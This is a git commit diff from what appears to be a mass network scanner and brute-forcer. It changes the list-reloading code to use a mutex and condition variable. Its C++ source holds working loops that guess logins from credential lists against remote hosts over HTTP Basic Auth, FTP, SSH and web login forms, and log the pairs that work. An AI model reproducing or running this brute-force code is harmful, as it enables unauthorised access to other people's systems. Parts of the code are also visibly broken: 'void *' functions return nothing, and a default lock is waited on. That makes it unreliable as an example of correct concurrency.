mutex testing

This commit is contained in:
cora48 2015-03-25 17:29:08 +03:00
parent f0f24067be
commit 40d69a654a
10 changed files with 313 additions and 365 deletions

View File

@ -1,4 +1,5 @@
#include "BasicAuth.h" #include "BasicAuth.h"
#include "FileUpdater.h"
bool BA::checkOutput(const string *buffer, const char *ip, const int port) { bool BA::checkOutput(const string *buffer, const char *ip, const int port) {
if((Utils::ci_find_substr(*buffer, "200 ok") != -1 || if((Utils::ci_find_substr(*buffer, "200 ok") != -1 ||
@ -40,29 +41,23 @@ lopaStr BA::BABrute(const char *ip, const int port) {
strcpy(lps.login, "UNKNOWN"); strcpy(lps.login, "UNKNOWN");
char login[128] = {0};
char pass[32] = {0};
for(int i = 0; i < MaxLogin; ++i) { for(int i = 0; i < MaxLogin; ++i) {
if(!lUpdated) Sleep(100);
strcpy(login, loginLst[i]);
for (int j = 0; j < MaxPass; ++j) { for (int j = 0; j < MaxPass; ++j) {
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready;});
if (!globalScanFlag) return lps; if (!globalScanFlag) return lps;
if(!pUpdated) Sleep(100);
strcpy(pass, passLst[j]);
lpString = string(login) + ":" + string(pass); lpString = string(loginLst[i]) + ":" + string(passLst[j]);
if (Connector::nConnect(ip, port, &buffer, NULL, NULL, &lpString) == -2) return lps; if (Connector::nConnect(ip, port, &buffer, NULL, NULL, &lpString) == -2) return lps;
if(checkOutput(&buffer, ip, port)) { if(checkOutput(&buffer, ip, port)) {
strcpy(lps.login, login); strcpy(lps.login, loginLst[i]);
strcpy(lps.pass, pass); strcpy(lps.pass, passLst[j]);
return lps; return lps;
}; };
if (BALogSwitched) stt->doEmitionBAData("BA: " + QString(ip) + ":" + QString::number(port) + if (BALogSwitched) stt->doEmitionBAData("BA: " + QString(ip) + ":" + QString::number(port) +
"; l/p: " + QString(login) + ":" + QString(pass) + "; - Progress: (" + "; l/p: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" +
QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)"); QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
Sleep(100); Sleep(100);

View File

@ -27,7 +27,6 @@ lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) {
for(int i = 0; i < MaxLogin; ++i) for(int i = 0; i < MaxLogin; ++i)
{ {
if(!globalScanFlag) return lps; if(!globalScanFlag) return lps;
if(!lUpdated) Sleep(100);
if(strlen(loginLst[i]) <= 1) continue; if(strlen(loginLst[i]) <= 1) continue;
strcpy(login, loginLst[i]); strcpy(login, loginLst[i]);
@ -35,7 +34,6 @@ lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) {
for(int j = 0; j < MaxPass; ++j) for(int j = 0; j < MaxPass; ++j)
{ {
if(!globalScanFlag) return lps; if(!globalScanFlag) return lps;
if(!pUpdated) Sleep(100);
if(strlen(passLst[j]) <= 1) continue; if(strlen(passLst[j]) <= 1) continue;
strcpy(pass, passLst[j]); strcpy(pass, passLst[j]);

View File

@ -1,4 +1,6 @@
#include "FileUpdater.h" #include "FileUpdater.h"
#include "STh.h"
#include "mainResources.h"
long FileUpdater::oldNegLstSize = 0; long FileUpdater::oldNegLstSize = 0;
long FileUpdater::oldLoginLstSize = 0; long FileUpdater::oldLoginLstSize = 0;
@ -6,329 +8,10 @@ long FileUpdater::oldPassLstSize = 0;
long FileUpdater::oldSSHLstSize = 0; long FileUpdater::oldSSHLstSize = 0;
long FileUpdater::oldWFLoginLstSize = 0; long FileUpdater::oldWFLoginLstSize = 0;
long FileUpdater::oldWFPassLstSize = 0; long FileUpdater::oldWFPassLstSize = 0;
bool FileUpdater::negUpdated = false; std::mutex FileUpdater::filesUpdatingMutex;
bool FileUpdater::lUpdated = false; std::condition_variable FileUpdater::cv;
bool FileUpdater::pUpdated = false; bool FileUpdater::ready = false;
bool FileUpdater::wflUpdated = false; std::unique_lock<std::mutex> FileUpdater::lk;
bool FileUpdater::wfpUpdated = false;
bool FileUpdater::sshlpUpdated = false;
void updateNegatives() {
if(GlobalNegatives != NULL)
{
for(int i = 0; i < GlobalNegativeSize; ++i) delete []GlobalNegatives[i];
delete []GlobalNegatives;
GlobalNegatives = NULL;
};
negativeLoader();
}
void updateLogin() {
if(loginLst != NULL)
{
for(int i = 0; i < MaxLogin; ++i) delete []loginLst[i];
delete []loginLst;
loginLst = NULL;
};
MaxLogin = 0;
char buffFG[32] = {0};
FILE *loginList = fopen("login.txt", "r");
if(loginList != NULL)
{
while(fgets(buffFG, 32, loginList) != NULL)
{
MaxLogin++;
ZeroMemory(buffFG, sizeof(buffFG));
};
rewind(loginList);
loginLst = new char*[MaxLogin];
for(int j = 0; j < MaxLogin; j++)
{
loginLst[j] = new char[32];
};
int i = 0;
while(fgets(buffFG, 32, loginList) != NULL)
{
memset(loginLst[i], 0, strlen(buffFG) + 1);
if(strstr(buffFG, "\n") != NULL) strncat(loginLst[i++], buffFG, strlen(buffFG) - 1);
else strncat(loginLst[i++], buffFG, strlen(buffFG));
ZeroMemory(buffFG, sizeof(buffFG));
};
stt->doEmitionGreenFoundData("Login list loaded (" + QString::number(MaxLogin) + " entries)");
fclose(loginList);
}
else
{
stt->doEmitionRedFoundData("No login list found");
stt->doEmitionKillSttThread();
};
}
void updatePass() {
if(passLst != NULL)
{
for(int i = 0; i < MaxPass; ++i) delete []passLst[i];
delete []passLst;
passLst = NULL;
};
MaxPass = 0;
char buffFG[32] = {0};
FILE *passList = fopen("pass.txt", "r");
if(passList != NULL)
{
while(fgets(buffFG, 32, passList) != NULL)
{
MaxPass++;
ZeroMemory(buffFG, sizeof(buffFG));
};
rewind(passList);
passLst = new char*[MaxPass];
for(int j = 0; j < MaxPass; j++)
{
passLst[j] = new char[32];
};
int i = 0;
while(fgets(buffFG, 32, passList) != NULL)
{
memset(passLst[i], 0, strlen(buffFG) + 1);
if(strstr(buffFG, "\n") != NULL) strncat(passLst[i++], buffFG, strlen(buffFG) - 1);
else strncat(passLst[i++], buffFG, strlen(buffFG));
ZeroMemory(buffFG, sizeof(buffFG));
};
stt->doEmitionGreenFoundData("Password list loaded (" + QString::number(MaxPass) + " entries)");
fclose(passList);
}
else
{
stt->doEmitionRedFoundData("No password list found");
stt->doEmitionKillSttThread();
};
}
void updateSSH() {
if(sshlpLst != NULL)
{
for(int i = 0; i < MaxSSHPass; ++i) delete []sshlpLst[i];
delete []sshlpLst;
sshlpLst = NULL;
};
MaxSSHPass = 0;
FILE *sshlpList;
ZeroMemory(buffFG, sizeof(buffFG));
sshlpList = fopen("sshpass.txt", "r");
if(sshlpList != NULL)
{
while(fgets(buffFG, 32, sshlpList) != NULL)
{
++MaxSSHPass;
ZeroMemory(buffFG, sizeof(buffFG));
};
rewind(sshlpList);
sshlpLst = new char*[MaxSSHPass];
for(int j = 0; j < MaxSSHPass; j++)
{
sshlpLst[j] = new char[32];
};
int i = 0;
while(fgets(buffFG, 32, sshlpList) != NULL)
{
memset(sshlpLst[i], 0, strlen(buffFG) + 1);
if(strstr(buffFG, "\n") != NULL) strncat(sshlpLst[i++], buffFG, strlen(buffFG) - 1);
else strncat(sshlpLst[i++], buffFG, strlen(buffFG));
ZeroMemory(buffFG, sizeof(buffFG));
};
stt->doEmitionGreenFoundData("SSH Password list loaded (" + QString::number(MaxSSHPass) + " entries)");
fclose(sshlpList);
}
else
{
stt->doEmitionRedFoundData("No password/login list found");
stt->doEmitionKillSttThread();
};
}
void updateWFLogin() {
if(wfLoginLst != NULL)
{
for(int i = 0; i < MaxWFLogin; ++i) delete []wfLoginLst[i];
delete []wfLoginLst;
wfLoginLst = NULL;
};
MaxWFLogin = 0;
FILE *wfLoginList;
ZeroMemory(buffFG, sizeof(buffFG));
wfLoginList = fopen("wflogin.txt", "r");
if(wfLoginList != NULL)
{
while(fgets(buffFG, 32, wfLoginList) != NULL)
{
MaxWFLogin++;
ZeroMemory(buffFG, sizeof(buffFG));
};
rewind(wfLoginList);
wfLoginLst = new char*[MaxWFLogin];
for(int j = 0; j < MaxWFLogin; j++)
{
wfLoginLst[j] = new char[32];
};
int i = 0;
while(fgets(buffFG, 32, wfLoginList) != NULL)
{
memset(wfLoginLst[i], 0, strlen(buffFG) + 1);
if(strstr(buffFG, "\n") != NULL) strncat(wfLoginLst[i++], buffFG, strlen(buffFG) - 1);
else strncat(wfLoginLst[i++], buffFG, strlen(buffFG));
ZeroMemory(buffFG, sizeof(buffFG));
};
stt->doEmitionGreenFoundData("WFLogin list loaded (" + QString::number(MaxWFLogin) + " entries)");
fclose(wfLoginList);
}
}
void updateWFPass() {
if(wfPassLst != NULL)
{
for(int i = 0; i < MaxWFPass; ++i) delete []wfPassLst[i];
delete []wfPassLst;
wfPassLst = NULL;
};
MaxWFPass = 0;
FILE *wfPassList;
ZeroMemory(buffFG, sizeof(buffFG));
wfPassList = fopen("wfpass.txt", "r");
if(wfPassList != NULL)
{
while(fgets(buffFG, 32, wfPassList) != NULL)
{
MaxWFPass++;
ZeroMemory(buffFG, sizeof(buffFG));
};
rewind(wfPassList);
wfPassLst = new char*[MaxWFPass];
for(int j = 0; j < MaxWFPass; j++)
{
wfPassLst[j] = new char[32];
};
int i = 0;
while(fgets(buffFG, 32, wfPassList) != NULL)
{
memset(wfPassLst[i], 0, strlen(buffFG) + 1);
if(strstr(buffFG, "\n") != NULL) strncat(wfPassLst[i++], buffFG, strlen(buffFG) - 1);
else strncat(wfPassLst[i++], buffFG, strlen(buffFG));
ZeroMemory(buffFG, sizeof(buffFG));
};
stt->doEmitionGreenFoundData("WFPassword list loaded (" + QString::number(MaxWFPass) + " entries)");
fclose(wfPassList);
}
}
long getFileSize(const char *fileName) {
std::ifstream in(fileName, std::ifstream::ate | std::ifstream::binary);
return in.tellg();
}
bool updateList(const char *fileName) {
long sz = getFileSize(fileName);
if(strstr(fileName, "negatives") != NULL) {
if(sz != oldNegLstSize) {
negUpdated = false;
oldNegLstSize = sz;
updateNegatives();
negUpdated = true;
}
} else if(strstr(fileName, "login") != NULL) {
if(sz != oldLoginLstSize) {
lUpdated = false;
oldLoginLstSize = sz;
updateLogin();
lUpdated = true;
}
} else if(strstr(fileName, "pass") != NULL) {
if(sz != oldPassLstSize) {
pUpdated = false;
oldPassLstSize = sz;
updatePass();
pUpdated = true;
}
} else if(strstr(fileName, "sshpass") != NULL) {
if(sz != oldSSHLstSize) {
sshlpUpdated = false;
oldSSHLstSize = sz;
updateSSH();
sshlpUpdated = true;
}
} else if(strstr(fileName, "wflogin") != NULL) {
if(sz != oldWFLoginLstSize) {
wflUpdated = false;
oldWFLoginLstSize = sz;
updateWFLogin();
wflUpdated = true;
}
} else if(strstr(fileName, "wfpass") != NULL) {
if(sz != oldWFPassLstSize) {
wfpUpdated = false;
oldWFPassLstSize = sz;
updateWFPass();
wfpUpdated = true;
}
}
}
void ReadUTF8(FILE* nFile, char *cp) { void ReadUTF8(FILE* nFile, char *cp) {
char buffFG[256] = {0}; char buffFG[256] = {0};
@ -461,14 +144,295 @@ void negativeLoader() {
} }
} }
void *updateNegatives() {
if(GlobalNegatives != NULL)
{
for(int i = 0; i < GlobalNegativeSize; ++i) delete []GlobalNegatives[i];
delete []GlobalNegatives;
GlobalNegatives = NULL;
};
negativeLoader();
}
void *updateLogin() {
if(loginLst != NULL)
{
for(int i = 0; i < MaxLogin; ++i) delete []loginLst[i];
delete []loginLst;
loginLst = NULL;
};
MaxLogin = 0;
char buffFG[32] = {0};
FILE *loginList = fopen("login.txt", "r");
if(loginList != NULL)
{
while(fgets(buffFG, 32, loginList) != NULL)
{
MaxLogin++;
ZeroMemory(buffFG, sizeof(buffFG));
};
rewind(loginList);
loginLst = new char*[MaxLogin];
for(int j = 0; j < MaxLogin; j++)
{
loginLst[j] = new char[32];
};
int i = 0;
while(fgets(buffFG, 32, loginList) != NULL)
{
memset(loginLst[i], 0, strlen(buffFG) + 1);
if(strstr(buffFG, "\n") != NULL) strncat(loginLst[i++], buffFG, strlen(buffFG) - 1);
else strncat(loginLst[i++], buffFG, strlen(buffFG));
ZeroMemory(buffFG, sizeof(buffFG));
};
stt->doEmitionGreenFoundData("Login list loaded (" + QString::number(MaxLogin) + " entries)");
fclose(loginList);
}
else
{
stt->doEmitionRedFoundData("No login list found");
stt->doEmitionKillSttThread();
};
}
void *updatePass() {
if(passLst != NULL)
{
for(int i = 0; i < MaxPass; ++i) delete []passLst[i];
delete []passLst;
passLst = NULL;
};
MaxPass = 0;
char buffFG[32] = {0};
FILE *passList = fopen("pass.txt", "r");
if(passList != NULL)
{
while(fgets(buffFG, 32, passList) != NULL)
{
MaxPass++;
ZeroMemory(buffFG, sizeof(buffFG));
};
rewind(passList);
passLst = new char*[MaxPass];
for(int j = 0; j < MaxPass; j++)
{
passLst[j] = new char[32];
};
int i = 0;
while(fgets(buffFG, 32, passList) != NULL)
{
memset(passLst[i], 0, strlen(buffFG) + 1);
if(strstr(buffFG, "\n") != NULL) strncat(passLst[i++], buffFG, strlen(buffFG) - 1);
else strncat(passLst[i++], buffFG, strlen(buffFG));
ZeroMemory(buffFG, sizeof(buffFG));
};
stt->doEmitionGreenFoundData("Password list loaded (" + QString::number(MaxPass) + " entries)");
fclose(passList);
}
else
{
stt->doEmitionRedFoundData("No password list found");
stt->doEmitionKillSttThread();
};
}
void *updateSSH() {
if(sshlpLst != NULL)
{
for(int i = 0; i < MaxSSHPass; ++i) delete []sshlpLst[i];
delete []sshlpLst;
sshlpLst = NULL;
};
MaxSSHPass = 0;
char buffFG[32] = {0};
ZeroMemory(buffFG, sizeof(buffFG));
FILE *sshlpList = fopen("sshpass.txt", "r");
if(sshlpList != NULL)
{
while(fgets(buffFG, 32, sshlpList) != NULL)
{
++MaxSSHPass;
ZeroMemory(buffFG, sizeof(buffFG));
};
rewind(sshlpList);
sshlpLst = new char*[MaxSSHPass];
for(int j = 0; j < MaxSSHPass; j++)
{
sshlpLst[j] = new char[32];
};
int i = 0;
while(fgets(buffFG, 32, sshlpList) != NULL)
{
memset(sshlpLst[i], 0, strlen(buffFG) + 1);
if(strstr(buffFG, "\n") != NULL) strncat(sshlpLst[i++], buffFG, strlen(buffFG) - 1);
else strncat(sshlpLst[i++], buffFG, strlen(buffFG));
ZeroMemory(buffFG, sizeof(buffFG));
};
stt->doEmitionGreenFoundData("SSH Password list loaded (" + QString::number(MaxSSHPass) + " entries)");
fclose(sshlpList);
}
else
{
stt->doEmitionRedFoundData("No password/login list found");
stt->doEmitionKillSttThread();
};
}
void *updateWFLogin() {
if(wfLoginLst != NULL)
{
for(int i = 0; i < MaxWFLogin; ++i) delete []wfLoginLst[i];
delete []wfLoginLst;
wfLoginLst = NULL;
};
MaxWFLogin = 0;
char buffFG[32] = {0};
ZeroMemory(buffFG, sizeof(buffFG));
FILE *wfLoginList = fopen("wflogin.txt", "r");
if(wfLoginList != NULL)
{
while(fgets(buffFG, 32, wfLoginList) != NULL)
{
MaxWFLogin++;
ZeroMemory(buffFG, sizeof(buffFG));
};
rewind(wfLoginList);
wfLoginLst = new char*[MaxWFLogin];
for(int j = 0; j < MaxWFLogin; j++)
{
wfLoginLst[j] = new char[32];
};
int i = 0;
while(fgets(buffFG, 32, wfLoginList) != NULL)
{
memset(wfLoginLst[i], 0, strlen(buffFG) + 1);
if(strstr(buffFG, "\n") != NULL) strncat(wfLoginLst[i++], buffFG, strlen(buffFG) - 1);
else strncat(wfLoginLst[i++], buffFG, strlen(buffFG));
ZeroMemory(buffFG, sizeof(buffFG));
};
stt->doEmitionGreenFoundData("WFLogin list loaded (" + QString::number(MaxWFLogin) + " entries)");
fclose(wfLoginList);
}
}
void *updateWFPass() {
if(wfPassLst != NULL)
{
for(int i = 0; i < MaxWFPass; ++i) delete []wfPassLst[i];
delete []wfPassLst;
wfPassLst = NULL;
};
MaxWFPass = 0;
char buffFG[32] = {0};
ZeroMemory(buffFG, sizeof(buffFG));
FILE *wfPassList = fopen("wfpass.txt", "r");
if(wfPassList != NULL)
{
while(fgets(buffFG, 32, wfPassList) != NULL)
{
MaxWFPass++;
ZeroMemory(buffFG, sizeof(buffFG));
};
rewind(wfPassList);
wfPassLst = new char*[MaxWFPass];
for(int j = 0; j < MaxWFPass; j++)
{
wfPassLst[j] = new char[32];
};
int i = 0;
while(fgets(buffFG, 32, wfPassList) != NULL)
{
memset(wfPassLst[i], 0, strlen(buffFG) + 1);
if(strstr(buffFG, "\n") != NULL) strncat(wfPassLst[i++], buffFG, strlen(buffFG) - 1);
else strncat(wfPassLst[i++], buffFG, strlen(buffFG));
ZeroMemory(buffFG, sizeof(buffFG));
};
stt->doEmitionGreenFoundData("WFPassword list loaded (" + QString::number(MaxWFPass) + " entries)");
fclose(wfPassList);
}
}
long getFileSize(const char *fileName) {
std::ifstream in(fileName, std::ifstream::ate | std::ifstream::binary);
return in.tellg();
}
void updateList(const char *fileName, long *szPtr, void *funcPtr(void)) {
long sz = getFileSize(fileName);
if(sz != *szPtr) {
FileUpdater::lk = std::unique_lock<std::mutex> (FileUpdater::filesUpdatingMutex);
*szPtr = sz;
funcPtr();
FileUpdater::lk.unlock();
FileUpdater::ready = true;
FileUpdater::cv.notify_one();
}
}
int FileUpdater::updateLists() { int FileUpdater::updateLists() {
while(globalScanFlag) { while(globalScanFlag) {
bool res = updateList("negatives.txt"); updateList("negatives.txt", &oldNegLstSize, updateNegatives);
res = updateList("login.txt"); updateList("login.txt", &oldLoginLstSize, updateLogin);
res = updateList("pass.txt"); updateList("pass.txt", &oldPassLstSize, updatePass);
res = updateList("sshpass.txt"); updateList("sshpass.txt", &oldSSHLstSize, updateSSH);
res = updateList("wflogin.txt"); updateList("wflogin.txt", &oldWFLoginLstSize, updateWFLogin);
res = updateList("wfpass.txt"); updateList("wfpass.txt", &oldWFPassLstSize, updateWFPass);
Sleep(60000); Sleep(60000);
} }

View File

@ -6,6 +6,8 @@
#endif #endif
#include <fstream> #include <fstream>
#include <mutex>
#include <condition_variable>
#include "externData.h" #include "externData.h"
#include "externFunctions.h" #include "externFunctions.h"
@ -17,12 +19,10 @@ public:
static long oldSSHLstSize; static long oldSSHLstSize;
static long oldWFLoginLstSize; static long oldWFLoginLstSize;
static long oldWFPassLstSize; static long oldWFPassLstSize;
static bool negUpdated; static bool ready;
static bool lUpdated; static std::condition_variable cv;
static bool pUpdated; static std::mutex filesUpdatingMutex;
static bool wflUpdated; static std::unique_lock<std::mutex> lk;
static bool wfpUpdated;
static bool sshlpUpdated;
public: public:
static int updateLists(); static int updateLists();

View File

@ -92,7 +92,6 @@ int SSHBrute(const char* host, int port, std::string *buffer, const char *banner
for(int i = 0; i < MaxSSHPass; ++i) for(int i = 0; i < MaxSSHPass; ++i)
{ {
if(!globalScanFlag) break; if(!globalScanFlag) break;
if(!sshlpUpdated) Sleep(100);
strcpy(temp, sshlpLst[i]); strcpy(temp, sshlpLst[i]);
ptr1 = strstr(temp, ":"); ptr1 = strstr(temp, ":");
if (ptr1 == NULL) { if (ptr1 == NULL) {

View File

@ -8,7 +8,6 @@ std::queue<std::string> Threader::ipQueue;
void Threader::fireThread(std::string ip, void *func(void)) { void Threader::fireThread(std::string ip, void *func(void)) {
std::unique_lock<std::mutex> lk(m); std::unique_lock<std::mutex> lk(m);
ipQueue.push(ip); ipQueue.push(ip);
if(threadId < gThreads) { if(threadId < gThreads) {

View File

@ -1,6 +1,5 @@
#include "WebformWorker.h" #include "WebformWorker.h"
#include "FileUpdater.h"
bool WFClass::active = false;
lopaStr WFClass::parseResponse(const char *ip, lopaStr WFClass::parseResponse(const char *ip,
const int port, const int port,
@ -29,8 +28,6 @@ lopaStr WFClass::parseResponse(const char *ip,
&& Utils::ci_find_substr(*buffer, std::string("forbidden")) == -1 && Utils::ci_find_substr(*buffer, std::string("forbidden")) == -1
) { ) {
if(*iIndex == 0) return result;
stt->doEmition_BAGreenData("[+] " + QString(ip) + ":" + QString::number(port) + " - WF pass: " + stt->doEmition_BAGreenData("[+] " + QString(ip) + ":" + QString::number(port) + " - WF pass: " +
QString(login) + ":" + QString(pass)); QString(login) + ":" + QString(pass));
strcpy(result.login, login); strcpy(result.login, login);
@ -66,13 +63,11 @@ lopaStr WFClass::doGetCheck(const char *ip,
for(int i = 0; i < MaxWFLogin; ++i) for(int i = 0; i < MaxWFLogin; ++i)
{ {
if(!globalScanFlag) break; if(!globalScanFlag) break;
if(!wflUpdated) Sleep(100);
strcpy(login, wfLoginLst[i]); strcpy(login, wfLoginLst[i]);
for(int j = firstCycle; j < MaxWFPass; ++j) for(int j = firstCycle; j < MaxWFPass; ++j)
{ {
if(!globalScanFlag) break; if(!globalScanFlag) break;
if(!wfpUpdated) Sleep(100);
strcpy(pass, wfPassLst[j]); strcpy(pass, wfPassLst[j]);
int rSize = strlen(ip) + strlen(actionVal) + strlen(userVal) + strlen(login) + strlen(passVal) + strlen(pass) + 4; int rSize = strlen(ip) + strlen(actionVal) + strlen(userVal) + strlen(login) + strlen(passVal) + strlen(pass) + 4;
@ -119,13 +114,11 @@ lopaStr WFClass::doPostCheck(const char *ip,
for(int i = 0; i < MaxWFLogin; ++i) for(int i = 0; i < MaxWFLogin; ++i)
{ {
if(!globalScanFlag) break; if(!globalScanFlag) break;
if(!wflUpdated) Sleep(100);
strcpy(login, wfLoginLst[i]); strcpy(login, wfLoginLst[i]);
for(int j = firstCycle; j < MaxWFPass; ++j) for(int j = firstCycle; j < MaxWFPass; ++j)
{ {
if(!globalScanFlag) break; if(!globalScanFlag) break;
if(!wfpUpdated) Sleep(100);
strcpy(pass, wfPassLst[j]); strcpy(pass, wfPassLst[j]);
int rSize = strlen(ip) + strlen(actionVal) + strlen(userVal) + strlen(login) + strlen(passVal) + strlen(pass) + 4; int rSize = strlen(ip) + strlen(actionVal) + strlen(userVal) + strlen(login) + strlen(passVal) + strlen(pass) + 4;

View File

@ -10,13 +10,13 @@
class WFClass : BruteUtils { class WFClass : BruteUtils {
private: static bool active; private:
int passCounter = 1; int passCounter = 1;
lopaStr doGetCheck(const char *ip, int port, char *actionVal, char *userVal, char *passVal, char *formVal); lopaStr doGetCheck(const char *ip, int port, char *actionVal, char *userVal, char *passVal, char *formVal);
lopaStr doPostCheck(const char *ip, int port, char *actionVal, char *userVal, char *passVal, char *formVal); lopaStr doPostCheck(const char *ip, int port, char *actionVal, char *userVal, char *passVal, char *formVal);
lopaStr parseResponse(const char *ip, const int port, const std::string *buffer, const char* formVal, lopaStr parseResponse(const char *ip, const int port, const std::string *buffer, const char* formVal,
const int *iIndex, const char *login,
const int *jIndex); const char *pass);
public: public:
@ -26,12 +26,10 @@ public:
++WF; ++WF;
BConInc(); BConInc();
this->active = true;
passCounter = 1; passCounter = 1;
} }
~WFClass(){ ~WFClass(){
this->active = false;
BConDec(); BConDec();
} }

View File

@ -15,7 +15,7 @@ extern char* strstri(const char *_Str, const char *_SubStr);
extern void nCleanup(); extern void nCleanup();
extern void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest); extern void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest);
extern void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest); extern void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest);
extern std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage); //extern std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage);
extern void _SaveBackupToFile(); extern void _SaveBackupToFile();
extern char *_findFirst(const char *str, char *delim); extern char *_findFirst(const char *str, char *delim);
//extern int nConnect(char *ip, int port, std::string *buffer); //extern int nConnect(char *ip, int port, std::string *buffer);

View File

@ -762,7 +762,8 @@ void _connect() {
while (globalScanFlag) { while (globalScanFlag) {
std::unique_lock<std::mutex> lk(Threader::m); std::unique_lock<std::mutex> lk(Threader::m);
Threader::cv.wait(lk, []{return Threader::ready; }); Threader::cv.wait(lk, []{return Threader::ready; });
if (Threader::threadId > gThreads || !globalScanFlag) {
if (Threader::threadId > gThreads || !globalScanFlag) {
--Threader::threadId; --Threader::threadId;
Threader::ready = false; Threader::ready = false;
lk.unlock(); lk.unlock();
@ -1326,6 +1327,7 @@ char *GetCIDRRangeStr(char *str) {
return result; return result;
} }
int fInit(int InitMode, char *gR) { int fInit(int InitMode, char *gR) {
strcpy(metaRange, gR); strcpy(metaRange, gR);
if (InitMode == 0) if (InitMode == 0)